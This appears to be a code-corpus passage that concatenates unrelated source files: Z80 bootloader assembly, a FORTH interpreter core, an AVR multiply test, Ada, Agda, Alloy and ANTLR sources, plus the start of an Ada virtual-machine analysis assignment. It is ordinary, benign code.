call _bootloader_check_program_commnad
ld a, l
or a, a
jr Z,00104$
;main.c:102: uart_print("OK");
ld hl,#___str_0
push hl
call _uart_print
pop af
;main.c:112: if(!bootloader_run())
call _bootloader_run
ld a,h
or a,l
jr NZ,00102$
;main.c:115: eeprom_write(0x0080,0x76);//escribe halt en direccion 80
ld a,#0x76
push af
inc sp
ld hl,#0x0080
push hl
call _eeprom_write
;main.c:116: delay_ms(100);
inc sp
ld hl,#0x0064
ex (sp),hl
call _delay_ms
pop af
;main.c:120: __endasm;
call #0x0080
;main.c:121: nop();
NOP
00102$:
;main.c:123: packet_fill(&pkg_out, PACKET_TYPE_EOF,200, NULL, 0);
ld hl,#0x0000
add hl,sp
ex de,hl
ld c, e
ld b, d
push de
xor a, a
push af
inc sp
ld hl,#0x0000
push hl
ld hl,#0xC85A
push hl
push bc
call _packet_fill
ld hl,#7
add hl,sp
ld sp,hl
call _packet_send
pop af
00104$:
;main.c:128: bootloader_start_app();
call _bootloader_start_app
;main.c:131: return 0;
ld hl,#0x0000
ld iy,#260
add iy,sp
ld sp,iy
ret
___str_0:
.ascii "OK"
.db 0x00
;main.c:134: void test_program_command() {
; ---------------------------------
; Function test_program_command
; ---------------------------------
_test_program_command::
;main.c:136: uart_print("Esperando comando de programacion: @");
ld hl,#___str_1
push hl
call _uart_print
pop af
;main.c:137: if(bootloader_check_program_commnad())
call _bootloader_check_program_commnad
ld a,l
or a, a
jr Z,00102$
;main.c:138: uart_print("Comando OK! :D");
ld hl,#___str_2
push hl
call _uart_print
pop af
jr 00103$
00102$:
;main.c:140: uart_print("No se recibio @");
ld hl,#___str_3+0
push hl
call _uart_print
pop af
00103$:
;main.c:142: HALT();
HALT
ret
___str_1:
.ascii "Esperando comando de programacion: @"
.db 0x00
___str_2:
.ascii "Comando OK! :D"
.db 0x00
___str_3:
.ascii "No se recibio @"
.db 0x00
.area _CODE
.area _INITIALIZER
__xinit__ptr_int_isr:
.dw #0x0038
__xinit__ptr_int_isr_l:
.dw #0x0039
__xinit__ptr_int_isr_h:
.dw #0x003A
__xinit__ptr_nmi_isr:
.dw #0x0038
__xinit__ptr_nmi_isr_l:
.dw #0x0067
__xinit__ptr_nmi_isr_h:
.dw #0x0068
__xinit__app_main_addr:
.dw #0x0080
.area _CABS (ABS)
|
alloy4fun_models/trashltl/models/7/vfTk2vBSu5qTmaRaT.als | Kaixi26/org.alloytools.alloy | 0 | 4709 | open main
pred idvfTk2vBSu5qTmaRaT_prop8 {
eventually (all f:File | f.link in Trash)
}
pred __repair { idvfTk2vBSu5qTmaRaT_prop8 }
check __repair { idvfTk2vBSu5qTmaRaT_prop8 <=> prop8o } |
core.asm | cstrotm/helforth | 6 | 97062 | ; =================================================
; HelFORTH - core
; File: core.asm
; Version: 0.4b
; Author: <NAME>
; Year: 2004
; Assembler: fasm
; -------------------------------------------------
; register conventions:
; EAX = TOS
; EBX = current context table
; ESI = stack
; EDI = heap
; ----- some useful macros ------------------------
d equ dword
b equ byte
w equ word
macro DOER { db $E9, 0, 0, 0, 0 }
macro Dict n,l {
db n
local inq
inq equ (DicID + l - cct)
db (inq / 256)
db (inq and 255)
DicID equ 8000h
}
; -------------------------------------------------
call init
; ------- link block ----------------------------------------
v_mode = 0
v_last = 4
v_base = 8
v_lkey = 12
v_tibb = 16
v_tibc = 20
v_dics = 24
v_strs = 28
v_dats = 32
v_stck = 36
v_lcal = 40
v_inli = 44
v_exep = 48
v_macp = 52
v_defp = 56
v_dic0 = 60
v_pref = 64
v_spad = 68
v_lsca = 72
v_lscn = 76
v_valu = 80
v_valh = 84
v_unkn = 88
v_unkh = 92
v_nowo = 96
v_nowh = 100
v_dici = 104
; --------------------------------------
; current context table
cct:
dd 0 ; mode ; ; 0 = run 1 = compile
dd 0 ; last ; ; pointer to current dict entry
dd 10 ; base ; ; base of numbers
dd 0 ; lkey ; ; next value returned by key or 0
dd 0 ; tibb ; ; terminal input buffer
dd 0 ; tibc ; ; terminal input counter
dd dics ; dics ; ; dictionary pointer
dd strs ; strs ; ; string pointer
dd dats ; dats ; * ; heap pointer
dd stck ; stck ; * ; stack pointer
dd 0 ; lcal ; c ; last compiled call
dd question_inline ; inli ; c ; inline handler
dd question_execute ; exep ; c ; word handler
dd execute ; macp ; c ; macro handler
dd question_execute ; defp ; c ; default : handler
dd dics ; dic0 ; c ; start of dictionary space
dd 2 ; pref ; c ; preferences
dd 0 ; spad ; ; last scratch pad
dd 0 ; lsca ;
dd 0 ; lscn ;
dd 0 ; valu ;
dd question_literal_comma
dd 0 ; unkn ;
dd word_question
dd 0 ; nowo ;
dd noword
p_last_is_space = 4 ; after reading from tib insert space
; dici... initial compressed dictionary
DICTIONARY
; ===========================================================
; ------- system interface ----------------------------------
INTERFACE
if ~HAS_CORE_INTERFACE
; --- Solaris interface:
s_bye: ; WORD (Sbye) | -- ||| Exits FORTH.
pop edx
push eax
push edx
xor eax,eax
inc eax
int 91h
s_emit: ; WORD (Semit) | c -- ||| Output character c.
sub esi,4
mov [esi],eax
xor eax,eax
inc eax
push eax
push esi
push eax
push eax ; dummy return
mov al,4
int 91h
lodsd
_sysc_ex:
add esp, 16
lodsd
ret
s_syskey: ; WORD (SSysKey) | -- c ||| Get input character using system routine.
sub esi,8
mov [esi+4],eax
xor eax,eax
mov d[esi],eax
inc eax
push eax
push esi
dec eax
push eax
push eax ; dummy return
mov al,3
int 91h
jmp _sysc_ex
; --- Linux interface:
bye: DOER ; WORD bye | -- ||| Exits FORTH.
xor ebx,ebx
xor eax,eax
inc eax
int 80h
emit: DOER ; WORD emit | c -- ||| Output character c.
sub esi,4
mov [esi],eax
xor edx,edx
inc edx
mov ecx,esi
push ebx
mov ebx,edx
xor eax,eax
mov al,4
int 80h
pop ebx
lodsd
lodsd
ret
syskey: DOER ; WORD (SysKey) | -- c ||| Get input character using system routine.
sub esi,8
mov [esi+4],eax
and d[esi],0
xor edx,edx
inc edx
mov ecx,esi
push ebx
xor ebx,ebx
xor eax,eax
mov al,3
int 80h
pop ebx
lodsd
ret
end if ; HAS_CORE_INTERFACE
; Linux system calls
; eax syscall number
; ebx, ecx, edx, esi, edi parameters (strings are asciiz)
; ecx, edx and ebp are defined as to be scratch registers in HelFORTH
w_syscall: ; WORD (SysCall)
push ebx
push edi
push eax
lodsd
or eax,eax
jz syscall_
xchg eax,edi
lodsd
xchg eax,ebx
dec edi
jz syscall_
lodsd
xchg eax,ecx
dec edi
jz syscall_
lodsd
xchg eax,edx
dec edi
jz syscall_
lodsd
push eax
dec edi
jz syscall__
lodsd
push eax
dec edi
jz syscall___
lodsd
xchg eax,ebp
syscall___:
pop edi
syscall__:
pop eax
xchg esi,[esp]
xchg eax,esi
int 80h
pop esi
pop edi
pop ebx
ret
syscall_:
pop eax
int 80h
pop edi
pop ebx
ret
szcpy:
push edi
sub edx,ecx
dec edx
mov edi,edx
rep movsb
mov b[edi],0
pop edi
ret
szsyscall: ; WORD (SZSysCall)
lea edx,[esi - 32]
mov ecx,[esi + 4]
push esi
mov esi,[esi + 8]
call szcpy
pop esi
mov [esi + 8],edx
push d[esi]
add esi,4
pop d[esi]
jmp w_syscall
szszsyscall: ; WORD (SZSZSysCall)
lea edx,[esi - 32]
mov ecx,[esi + 4]
push esi
mov esi,[esi + 8]
call szcpy
pop esi
mov ecx,edx
xchg ecx,[esi + 12]
push esi
mov esi,[esi + 16]
call szcpy
pop esi
mov [esi + 16],edx
push d[esi]
add esi,8
pop d[esi]
jmp w_syscall
; ===========================================================
; ------ runtime core ---------------------------------------
key: DOER ; WORD key | -- c ||| Get key.
cmp d[ebx + v_lkey],0
jz key_
sub esi,4
mov [esi],eax
mov eax,[ebx + v_lkey]
and d[ebx + v_lkey],0
ret
key_:
cmp d[ebx + v_tibc],0
jz key__
key_tib:
sub esi,4
mov [esi],eax
mov edx,[ebx + v_tibb]
inc d[ebx + v_tibb]
dec d[ebx + v_tibc]
xor eax,eax
mov al,[edx]
ret
key__: DOER ; WORD (MoreInput)
MoreInputIndicator = $ - 4
test d[ebx + v_pref],p_last_is_space
jz key___
and d[ebx + v_pref],-1 - p_last_is_space
sub esi,4
mov [esi],eax
xor eax,eax
mov al,32
ret
key___:
call bc_token
mov [ebx + v_tibc],eax
lodsd
or eax,eax
mov [ebx + v_tibb],eax
lodsd
jnz key_tib
jmp syskey
s_comma: ; WORD s, | addr cnt -- ||| Compile string (as counted string).
stosb
xchg eax,ecx
push esi
mov esi,[esi]
rep movsb
pop esi
two_drop: ; INLINE 2drop | n1 n2 -- ||| Remove first two stack entries.
lodsd
lodsd
ret
cvdig:
or dl, 32
sub dl, "0"
jc .q
cmp dl, 10
jc .q1
add dl, "0" - "a" + 10
.q1:
cmp edx, [ebx + v_base]
cmc
.q:
ret
to_num: DOER ; WORD >num | addr cnt -- 0/(n -1) ||| Convert string to number.
push d[ebx + v_base]
xchg eax,ecx
lodsd
push esi
xchg esi,eax
push esi
cmp b[esi],"-"
jnz no_sign
inc esi
dec ecx
no_sign:
xor eax,eax
cmp b[esi],"'"
jnz no_char
mov al,[esi + 1]
number_q:
pop esi
cmp b[esi], "-"
jnz number_not_signed
neg eax
number_not_signed:
pop esi
pop d[ebx + v_base]
sub esi,4
mov [esi],eax
xor eax,eax
dec eax
ret
no_char:
cmp b[esi],"$"
jnz number_test_oct
mov d[ebx + v_base], 16
inc esi
jmp number_do_loop
number_test_oct:
cmp b[esi],"&"
jnz number_convert
mov d[ebx + v_base],8
inc esi
jmp number_do_loop
number_convert:
mul d[ebx + v_base]
xor edx,edx
mov dl,[esi]
inc esi
call cvdig
jc no_digit
add eax,edx
number_do_loop:
loop number_convert
jmp number_q
no_digit:
pop esi
pop esi
pop d[ebx + v_base]
xor eax,eax
ret
two_dup: ; INLINE 2dup | n1 n2 -- n1 n2 n1 n2 ||| Duplicate first two stack entries.
mov edx,[esi]
sub esi,8
mov [esi+4],eax
mov [esi],edx
ret
type: DOER ; WORD type | addr cnt -- ||| Output string.
or eax,eax
type_:
jz two_drop
mov edx,[esi]
sub esi,4
mov [esi],eax
xor eax,eax
mov al,[edx]
call emit
inc dword [esi]
dec eax
jmp type_
include "runtime.asm"
; =========================================================
; ---- compiler -------------------------------------------
parse_word: DOER ; WORD wsparse
sub esi, 4
mov [esi], eax
mov eax, 32
parse: DOER ; WORD parse | c -- addr cnt ||| Parse token from input (c will be skipped at begin and it terminates the token).
mov edx,[ebx + v_strs]
inc edx
sub esi,4
mov [esi],edx
parse___:
call pkey
jecxz parse_q
cmp al,10
jz parse_10
cmp al,32
jnz parse_10
cmp cl,33
jc parse___
parse__:
call pput
jecxz parse_q
cmp cl,33
jnc parse__
cmp cl,10
jnz parse_q
mov [ebx + v_lkey],ecx
parse_q:
xchg eax,edx
mov edx,[esi]
sub eax,edx
mov b[edx-1],al
ret
parse_:
call pput
jecxz parse_q
parse_10:
cmp al,cl
jnz parse_
jmp parse_q
pput:
mov [edx],cl
inc edx
pkey:
push edx
call key
cmp al,13
jnz pkey_
lodsd
call key
cmp al,10
jz pkey_
mov [ebx + v_lkey], eax
xor eax,eax
mov al,32
pkey_:
pop edx
xchg eax,ecx
lodsd
ret
question_inline: ; WORD ?inline | add -- ||| Execute or inline
cmp d[ebx + v_mode],0
jz execute
w_inline: ; WORD inline | add -- ||| inline the code
mov d[ebx + v_lcal], edi
xchg eax, esi
.a:
cmp b[esi], 0c3h
movsb
jnz .a
dec edi
xchg eax, esi
lodsd
ret
question_execute: ; WORD ?execute | addr -- ||| Execute or compile depending on mode.
cmp d[ebx + v_mode],0
jnz compile
execute: ; WORD execute | addr -- ||| Execute code at addr.
xchg eax,edx
lodsd
jmp edx
nop
compile: DOER ; WORD compile | addr -- ||| Compile call to addr.
mov [ebx + v_lcal],edi
mov b[edi],0E8h
inc edi
sub eax,edi
sub eax,4
stosd
lodsd
ret
create: DOER ; WORD create | -- ||| Create word from next token.
sub esi,4
mov [esi],eax
xor eax,eax
mov al,32
call parse
creates: DOER ; WORD creates | addr cnt -- ||| Create word from string.
xchg edi,[ebx + v_dics]
push eax
mov eax,[ebx + v_last]
mov [ebx + v_last],edi
stosd ; link to previous
pop eax
call s_comma ; string
sub esi,4
mov [esi],eax
mov eax,[ebx + v_dics]
stosd ; "tick" information
call create_
question_literal_comma: ; WORD ?literal | n -- n/ ||| Compiles a literal depending on mode.
cmp d[ebx + v_mode], 0
jz ql_q ; call literal_comma
literal_comma: DOER ; MACRO literal | n -- ||| Compile literal.
call dup_comma
mov b[edi], 0b8h
inc edi
stosd
lodsd
ql_q:
ret
dup_comma: DOER ; WORD dup, | -- ||| compile dup code
mov d[edi], 08904ee83h
mov b[edi+4], 06h
add edi,5
ret
create_:
pop eax
stosd ; link to handler
mov eax,edi
sub eax,[ebx + v_last]
stosb ; count to header
lodsd
xchg edi,[ebx + v_dics]
ret
ddot: DOER ; MACRO : | -- ||| Create new word and turn on compilation mode.
call align_
call create
mov edx,[ebx + v_last]
xor ecx,ecx
mov cl,[edx + 4]
push d[ebx + v_defp]
pop d[ecx + edx + 9]
mode_on: ; WORD ] | -- ||| Turn on compilation mode,
or d[ebx + v_mode],-1
ret
mode_off: ; MACRO [ | -- || -- ||| Turn off compilation mode.
and d[ebx + v_mode],0
ret
set_forth: DOER ; WORD forth | -- ||| Set : creation mode to default forth words.
push d[ebx + v_exep]
pop d[ebx + v_defp]
ret
set_macro: DOER ; WORD macro | -- ||| Set : creation mode to macro compilation.
push d[ebx + v_macp]
pop d[ebx + v_defp]
ret
comment: ; MACRO | | -- || -- ||| Ignore contents up to line end (comment).
sub esi,4
mov [esi],eax
xor eax,eax
mov al,10
call parse
jmp two_drop
semi_semi: DOER ; MACRO ;; | -- || -- ||| Compile termination of word.
lea ecx,[edi - 5]
cmp [ebx + v_lcal], ecx
jnz semi_semi_ret
cmp byte [ecx], 0E8h
jnz semi_semi_ret
and d[ebx + v_lcal],0
mov edx,[ebx + v_last]
push eax
xor eax,eax
mov al,[edx + 4]
add edx,eax
pop eax
cmp ecx,[edx+5]
jnz semi_jump
mov ecx,[edi - 4]
add ecx,edi
mov [edx+5],ecx
sub edi,5
ret
semi_jump:
mov dl,0e9h
cmp d[ecx+1],-128-3
jc semi_j
mov dl,0ebh
add b[ecx+1],3
sub edi,3
semi_j:
mov b[ecx], dl
jmp align_
semi_semi_ret: ; MACRO ;;ret | -- || -- ||| Compile termination of word without optimization.
mov b[edi],0c3h
inc edi
align_: DOER ; WORD align | -- || -- ||| align code
.a:
test edi, 15
jz .b
mov b[edi],$90
inc edi
jmp .a
.b:
ret
; ---------------------------------------------------------
expand_dictionary: ; called on startup to expand the dictionary
push eax
lea esi,[ebx + v_dici]
mov edi,[ebx + v_dics]
mov ecx,[ebx + v_last]
lea edx,[ebx + v_inli]
.a:
mov [edi],ecx
mov ecx,edi
add edi,5
.b:
test b[esi],80h
jnz .c
movsb
jmp .b
.c:
lodsw
test al,40h
jz .d
add edx,4
.d:
xchg ah,al
and eax,3FFFh
add eax,ebx
stosd
mov eax,[edx]
stosd
mov eax,edi
sub eax,ecx
stosb
sub al,13
mov [ecx + 4],al
cmp b[esi],0 ; terminator
jnz .a
mov [ebx + v_dics],edi
mov [ebx + v_last],ecx
pop eax
ret
; ---------------------------------------------------------
bc_token: ; -- (addr cnt)/(0 0)
sub esi,8
mov [esi+4],eax
mov edx,[bc_i]
xor eax,eax
mov al,[edx]
cmp al,0
jnz .a
mov [esi],eax
ret
.a:
inc d[bc_i]
cmp al,255
jnz .b
mov al,[edx + 1]
inc d[bc_i]
push ecx
push edi
mov edi,bc_dlit
mov [esi],edi
inc edi
push eax
shr eax,4
push eax
mov ecx,2
.cv:
pop eax
and al,15
add al,'0'
cmp al,'9'+1
jc .cva
add al,-'0'+'a'-10
.cva:
stosb
loop .cv
pop edi
pop ecx
mov al,3
jmp .lspc
.b:
cmp al,32
jc .c
mov edx,[eax * 4 + bc_cache]
mov al,[edx - 1]
.setspc:
mov [esi],edx
cmp al,15
jz .q
.lspc:
or d[ebx + v_pref],p_last_is_space
.q:
ret
.c:
inc edx
test al,16
jnz .d
push eax
mov eax,[bc_ii]
inc eax
cmp al,255
jc .noroll
mov al,32
.noroll:
mov [bc_ii],eax
mov [eax * 4 + bc_cache],edx
and d[eax * 4 + bc_find],0
pop eax
.d:
and eax,15
add [bc_i],eax
jmp .setspc
; ------------------------------------------------------------
find: DOER ; WORD find
push esi
push edi
mov ebp, [esi]
mov [ebx + v_lsca], ebp
mov [ebx + v_lscn], eax
mov ah, [ebp]
lea edx, [ebx + v_last]
xor ecx,ecx
.a: mov edx, [edx]
cmp edx, ecx ; ECX is always <= 255
jna .q1
cmp [edx + 4], ax
jnz .a
mov cl, al
lea edi, [edx + 5]
mov esi, ebp
repz cmpsb
jnz .a
.q: xchg eax, edi
.q2: pop edi
pop esi
add esi, 4
ret
.q1: xor eax,eax
jmp .q2
question: DOER ; WORD ?
sub esi,4
mov [esi],eax
xor eax,eax
cmp d[ebx + v_tibc], eax
jnz .not_suitable
cmp d[MoreInputIndicator], eax
jnz .not_suitable
mov edx,[bc_i]
mov al,[edx]
cmp al,0
jz .not_suitable
cmp al,15
jc .new_token
cmp al,32
jc .not_suitable
cmp al,255
jz .not_suitable
lea edx,[eax * 4 + bc_find]
cmp d[edx],0
jz .not_cached
and d[ebx + v_pref],-1 - p_last_is_space
inc d[bc_i]
mov eax,[edx]
ret
.new_token:
mov eax,[bc_ii]
inc eax
cmp al,255
jc .dont_roll
mov al,32
.dont_roll:
lea edx,[eax * 4 + bc_find]
.fetch_next:
push edx
lodsd
call bc_token
and d[ebx + v_pref],-1 - p_last_is_space
call find
pop edx
mov [edx],eax
jmp .cleanup
ret
.not_cached:
mov ecx,[edx + bc_cache - bc_find]
cmp b[ecx - 1],15
jc .fetch_next
.not_suitable:
lodsd
call parse_word
; call xwsparse
or eax, eax
jz .noword1
call find
.cleanup:
or eax, eax
jz .is_value
ret
.noword1:
lodsd
.noword:
lea eax, [ebx + v_nowo]
ret
.unknown:
lea eax, [ebx + v_unkn]
ret
.is_value:
mov eax, [ebx + v_lscn]
or eax, eax
jz .noword
mov ecx, [ebx + v_lsca]
xor edx, edx
mov dl, [ecx]
cmp dl, "'"
jz .number
cmp dl, "-"
jz .number
cmp dl, "$"
jz .number
cmp dl, "&"
jz .number
call cvdig
jc .unknown
.number:
sub esi, 4
mov [esi], ecx
call to_num
or eax, eax
jz .unknown
lodsd
mov [ebx + v_valu], eax
lea eax, [ebx + v_valu]
ret
tick: DOER ; WORD '
call question
mov eax, [eax]
ret
; =========================================================
; -------- interpret and init -----------------------------
init:
pop ebx ; set up link block
mov ecx,512
xor eax,eax
mov edi,bc_cache
rep stosd
call expand_dictionary
mov esi,[ebx + v_stck]
mov edi,[ebx + v_dats]
call interpret
jmp bye
word_question: DOER ; WORD word?
sub esi, 8
mov eax, [ebx + v_lsca]
mov [esi], eax
mov eax, [ebx + v_lscn]
call type
mov eax, "?"
call emit
cr: DOER ; WORD cr | -- ||| Output line feed.
sub esi,4
mov [esi],eax
xor eax,eax
mov al,10
jmp emit
noword: ; INLINE rdrop
pop edx
ret
interpret: DOER ; WORD interpret
call question
push interpret
exec: ; WORD exec
xchg eax, edx
mov eax, [edx]
jmp d[edx + 4]
; =========================================================
; ---- data -----------------------------------------------
initial_bytecode: BOOTSTRAP
bc_dlit: db "$00"
bc_i: dd initial_bytecode
bc_ii: dd 31
hfds_section
align 16
bc_cache: rd 256 ; Cache for bytecode
bc_find: rd 256 ; find Cache for bytecode
dics: rb 128 * 1024 ; 128 K dictionary data
dats: rb 2024 * 1024 ; 2024 K heap data
strs: rb 128 * 1024 ; 128 K string data
s1: rb 4 * 1024 ; 4 K stack
stck: rb 40 ; 10 entries underflow space for stack
; =========================================================
|
source/Controller_Bugz.ads | bracke/Meaning | 0 | 29735 | with RASCAL.ToolboxQuit; use RASCAL.ToolboxQuit;
with RASCAL.TaskManager; use RASCAL.TaskManager;
with RASCAL.OS; use RASCAL.OS;
with RASCAL.Bugz; use RASCAL.Bugz;
package Controller_Bugz is
type MEL_Message_Bugz_Query is new AMEL_Message_Bugz_Query with null record;
type TEL_CreateReport_Type is new Toolbox_UserEventListener(16#21#,-1,-1) with null record;
--
-- A request from the Bugz application.
--
procedure Handle (The : in MEL_Message_Bugz_Query);
--
-- The user wants to create a bug report using !Bugz
--
procedure Handle (The : in TEL_CreateReport_Type);
end Controller_Bugz;
|
src/Categories/Functor/Profunctor.agda | bblfish/agda-categories | 279 | 6915 | <gh_stars>100-1000
{-# OPTIONS --without-K --safe #-}
module Categories.Functor.Profunctor where
open import Level
open import Categories.Category
open import Categories.Category.Instance.Setoids
open import Categories.Functor.Bifunctor
open import Categories.Functor.Hom
Profunctor : ∀ {o ℓ e} {o′ ℓ′ e′} → Category o ℓ e → Category o′ ℓ′ e′ → Set _
Profunctor {ℓ = ℓ} {e} {ℓ′ = ℓ′} {e′} C D = Bifunctor (Category.op D) C (Setoids (ℓ ⊔ ℓ′) (e ⊔ e′))
id : ∀ {o ℓ e} → {C : Category o ℓ e} → Profunctor C C
id {C = C} = Hom[ C ][-,-]
|
sim/asm/fn66.asm | nanamake/avr_cpu | 2 | 97405 | <gh_stars>1-10
;-------------------
; test for mul/sreg
;-------------------
.equ sreg = 0x3f
;-------------------
ldi r16,0x00
ldi r17,0x90
ldi r18,0xf0
ldi r19,0xff
;-------------------
out sreg,r16
mul r17,r17
in r2 ,sreg
out sreg,r19
mul r17,r17
in r3 ,sreg
movw r4 ,r0
;-------------------
out sreg,r16
muls r16,r19
in r6 ,sreg
out sreg,r19
muls r16,r19
in r7 ,sreg
movw r8 ,r0
;-------------------
out sreg,r16
mulsu r17,r18
in r10,sreg
out sreg,r19
mulsu r17,r18
in r11,sreg
movw r12,r0
;-------------------
.def zl = r30
.def zh = r31
ldi zh,0x01
ldi zl,0x00
st z+,r17 ; (ldi) 0x90
st z+,r17 ; (ldi) 0x90
st z+,r4 ; (mul) 0x90 0x90
st z+,r5
st z+,r2 ; (in) sreg --------
st z+,r3 ; (in) sreg ithsvn--
ldi zh,0x01
ldi zl,0x10
st z+,r16 ; (ldi) 0x00
st z+,r19 ; (ldi) 0xff
st z+,r8 ; (muls) 0x00 0xff
st z+,r9
st z+,r6 ; (in) sreg ------z-
st z+,r7 ; (in) sreg ithsvnz-
ldi zh,0x01
ldi zl,0x20
st z+,r17 ; (ldi) 0x90
st z+,r18 ; (ldi) 0xf0
st z+,r12 ; (mulsu) 0x90 0xf0
st z+,r13
st z+,r10 ; (in) sreg -------c
st z+,r11 ; (in) sreg ithsvn-c
;-------------------
out sreg,r16
fmul r17,r17
in r2 ,sreg
out sreg,r19
fmul r17,r17
in r3 ,sreg
movw r4 ,r0
;-------------------
out sreg,r16
fmuls r16,r19
in r6 ,sreg
out sreg,r19
fmuls r16,r19
in r7 ,sreg
movw r8 ,r0
;-------------------
out sreg,r16
fmulsu r17,r18
in r10,sreg
out sreg,r19
fmulsu r17,r18
in r11,sreg
movw r12,r0
;-------------------
ldi zh,0x01
ldi zl,0x08
st z+,r17 ; (ldi) 0x90
st z+,r17 ; (ldi) 0x90
st z+,r4 ; (fmul) 0x90 0x90
st z+,r5
st z+,r2 ; (in) sreg --------
st z+,r3 ; (in) sreg ithsvn--
ldi zh,0x01
ldi zl,0x18
st z+,r16 ; (ldi) 0x00
st z+,r19 ; (ldi) 0xff
st z+,r8 ; (fmuls) 0x00 0xff
st z+,r9
st z+,r6 ; (in) sreg ------z-
st z+,r7 ; (in) sreg ithsvnz-
ldi zh,0x01
ldi zl,0x28
st z+,r17 ; (ldi) 0x90
st z+,r18 ; (ldi) 0xf0
st z+,r12 ; (fmulsu) 0x90 0xf0
st z+,r13
st z+,r10 ; (in) sreg -------c
st z+,r11 ; (in) sreg ithsvn-c
;-------------------
ldi r16,0xff
sts 0xffff,r16
halt:
rjmp halt
|
playscript/PlayScript.g4 | luoyjx/simple-calc-parser | 0 | 7124 | <reponame>luoyjx/simple-calc-parser
grammar PlayScript;
import CommonLexer;
statement
: expressionStatement
| compoundStatement
//| selectionStatement
//| iterationStatement
;
expressionStatement
: expression? SemiColon
;
declaration
: TypeSpecifier Identifier
| TypeSpecifier Identifier initializer
;
initializer
: Assignment assignmentExpression
//| LeftBrace initializerList RightBrace
//| LeftBrace initializerList Comm RightBrace
;
expression
: assignmentExpression
| expression Comm assignmentExpression
;
assignmentExpression
: additiveExpression
| Identifier Assignment additiveExpression
;
additiveExpression
: multiplicativeExpression
| additiveExpression Add multiplicativeExpression
;
multiplicativeExpression
: primaryExpression
| multiplicativeExpression Mul primaryExpression
;
primaryExpression
: Identifier
| Constant
| Identifier LeftParen argumentExpressionList? RightParen
//| StringLiteral+
| LeftParen expression RightParen
;
argumentExpressionList
: assignmentExpression
| argumentExpressionList Comm assignmentExpression
;
compoundStatement
: LeftBrace blockItemList? RightBrace
;
blockItemList
: blockItem
| blockItemList blockItem
;
blockItem
: statement
| declaration
; |
examples/msg_consumer.adb | HeisenbugLtd/msg_passing | 0 | 9436 | ------------------------------------------------------------------------
-- Copyright (C) 2010-2020 by Heisenbug Ltd. (<EMAIL>)
--
-- This work is free. You can redistribute it and/or modify it under
-- the terms of the Do What The Fuck You Want To Public License,
-- Version 2, as published by Sam Hocevar. See the LICENSE file for
-- more details.
------------------------------------------------------------------------
pragma License (Unrestricted);
with Ada.Text_IO;
with Msg_Producer;
procedure Msg_Consumer is
MESSAGE_RATE : constant := 1;
Msg : Msg_Producer.Message;
Msg_Board : Msg_Producer.BB_Mailbox.Object;
-- Rename base class (root type) for easier view conversion.
subtype Object is Msg_Producer.Int_Messaging.Object;
begin
Ada.Text_IO.Put_Line ("Start producing messages...");
Msg_Producer.Start (Msg_Rate => MESSAGE_RATE,
MB => Msg_Board);
Ada.Text_IO.Put_Line ("Start consuming messages...");
loop
Msg_Producer.Int_Messaging.Read (Object'Class (Msg_Board), Msg);
Ada.Text_IO.Put (Msg_Producer.Message'Image (Msg));
-- If Msg_Board is an instance of Whiteboard, Erase should be
-- called from time to time or else we're just looping around
-- eating all CPU.
-- delay 1.0;
end loop;
end Msg_Consumer;
|
src/machine.adb | eyeonechi/invalid-behaviour-conservative-analysis | 0 | 26155 | -- SWEN90010 High Integrity Systems Engineering
-- Assignment 3
-- --------------------------------------------------------------------------
-- | Name | Student ID | Student Email |
-- --------------------------------------------------------------------------
-- | <NAME> | 852105 | <EMAIL> |
-- | <NAME> | 736901 | <EMAIL> |
-- --------------------------------------------------------------------------
with Instruction;
use Instruction;
with Debug;
use Debug;
-- used so we can print TAB character
with Ada.Characters.Latin_1;
package body Machine with SPARK_Mode is
-- integer value
type IntegerVal is range -(2**31) .. +(2**31 - 1);
-- different states of dataval
type DataValStates is (Uninitialized, Initialized);
-- data values are 32-bit integers
-- this is the type of words used in the virtual machine
type DataVal (State : DataValStates := Uninitialized) is
record
case State is
-- uninitialised DataVal has integer garbage value
when Uninitialized => Garbage : IntegerVal;
-- initialised DataVal has integer value
when Initialized => Value : IntegerVal;
end case;
end record;
-- register which distinguishes initialised and uninitialised values
type Register is array (Reg) of DataVal;
-- register of integer values used in executing program
type IntegerRegister is array (Reg) of IntegerVal;
-- memory which distinguishes initialised and uninitialised values
type Memory is array (Addr) of DataVal;
-- memory of integer values used in executing program
type IntegerMemory is array (Addr) of IntegerVal;
-- increases the program counter by an offset
procedure IncPC(Ret :in out ReturnCode; Offs : in Offset; PC : in out ProgramCounter) is
begin
-- only increase PC if previous return is success
if Ret = Success then
-- check for integer overflow
if (Integer(PC) <= Integer(ProgramCounter'Last) - Integer(Offs)) and
(Integer(PC) >= Integer(ProgramCounter'First) - Integer(Offs)) then
PC := ProgramCounter(Integer(PC) + Integer(Offs));
Ret := Success;
else
Ret := IllegalProgram;
end if;
end if;
end IncPC;
-- performs ADD instruction
procedure DoAdd(Rd : in Reg; Rs1 : in Reg; Rs2 : in Reg; Ret : out ReturnCode; Regs : in out IntegerRegister) is
begin
-- check for integer overflow
if (Regs(Rs2) > 0 and then Regs(Rs1) > IntegerVal'Last - Regs(Rs2)) or
(Regs(Rs2) < 0 and then Regs(Rs1) < IntegerVal'First - Regs(Rs2)) then
Ret := IllegalProgram;
else
Regs(Rd) := Regs(Rs1) + Regs(Rs2);
Ret := Success;
end if;
end DoAdd;
-- performs SUB function
procedure DoSub(Rd : in Reg; Rs1 : in Reg; Rs2 : in Reg; Ret : out ReturnCode; Regs : in out IntegerRegister) is
begin
-- check for integer overflow
if (Regs(Rs2) < 0 and then Regs(Rs1) > IntegerVal'Last + Regs(Rs2)) or
(Regs(Rs2) > 0 and then Regs(Rs1) < IntegerVal'First + Regs(Rs2)) then
Ret := IllegalProgram;
else
Regs(Rd) := Regs(Rs1) - Regs(Rs2);
Ret := Success;
end if;
end DoSub;
-- performs MUL instruction
procedure DoMul(Rd : in Reg; Rs1 : in Reg; Rs2 : in Reg; Ret : out ReturnCode; Regs : in out IntegerRegister) is
begin
if (Regs(Rs1) < 0 and then Regs(Rs2) < 0 and then Regs(Rs1) < IntegerVal'Last / Regs(Rs2)) or
(Regs(Rs1) < 0 and then Regs(Rs2) > 0 and then IntegerVal'First / Regs(Rs2) > Regs(Rs1)) or
(Regs(Rs2) /= 0 and then Regs(Rs1) > 0 and then Regs(Rs1) > IntegerVal'Last / Regs(Rs2)) then
Ret := IllegalProgram;
else
Regs(Rd) := Regs(Rs1) * Regs(Rs2);
Ret := Success;
end if;
end DoMul;
-- performs DIV instruction
procedure DoDiv(Rd : in Reg; Rs1 : in Reg; Rs2 : in Reg; Ret : out ReturnCode; Regs : in out IntegerRegister) is
begin
-- check for dividing by 0 or integer overflow
